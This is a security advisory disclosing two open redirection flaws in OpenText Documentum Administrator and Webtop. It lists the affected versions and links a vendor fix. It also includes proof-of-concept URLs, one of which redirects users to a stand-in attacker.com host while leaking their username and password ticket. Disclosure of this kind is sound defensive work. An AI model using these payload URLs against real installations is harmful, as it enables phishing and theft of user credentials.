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OpenText Documentum Administrator / Webtop Open Redirection

OpenText Documentum Administrator / Webtop Open Redirection
Posted Sep 27, 2017
Authored by Jakub Palaczynski

OpenText Documentum Administrator version 7.2.0180.0055 and Documentum Webtop version 6.8.0160.0073 suffer from an open redirection vulnerability.

tags | exploit
advisories | CVE-2017-14524, CVE-2017-14525
MD5 | 6f1d71c20b10167ef7e933c29c03e1f4

OpenText Documentum Administrator / Webtop Open Redirection

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Title: OpenText Documentum Administrator and Webtop - Open Redirection
Author: Jakub Palaczynski
Date: 24. September 2017
CVE (Administrator): CVE-2017-14524
CVE (Webtop): CVE-2017-14525

Affected software:
==================
Documentum Administrator
Documentum Webtop

Exploit was tested on:
======================
Documentum Administrator version 7.2.0180.0055
Documentum Webtop version 6.8.0160.0073
Other versions may also be vulnerable.

Open Redirection - 2 instances:
========================

Please note that examples below are for Documentum Administrator, but
the same exploitation takes place in Webtop.

1. First instance:
It is possible to frame custom/malicious website on a trusted domain.
This way an attacker may for example steal credentials via creating
fake login form or redirect users to a malicious website.

Proof of Concept:
https://DOCUMENTUM/xda/help/en/default.htm?startat=//127.0.0.1/custom.html

2. Second instance:
It is possible to redirect user to custom website. Besides redirection
it also allows for stealing sensitive data - before redirection takes
place application appends username and base64 encoded user's encrypted
password ("ticket" parameter).

Proof of Concept:
Please note that PoC below works only in Internet Explorer browser as
only this browser treats /%09/ as //, which makes redirection work.
https://DOCUMENTUM/xda/component/virtuallinkconnect?redirectUrl=%2F%09%2Fattacker.com%2F&virtualLinkPath=%2F

Fix:
===
https://knowledge.opentext.com/knowledge/llisapi.dll/Open/68982774

Contact:
======
Jakub[dot]Palaczynski[at]gmail[dot]com


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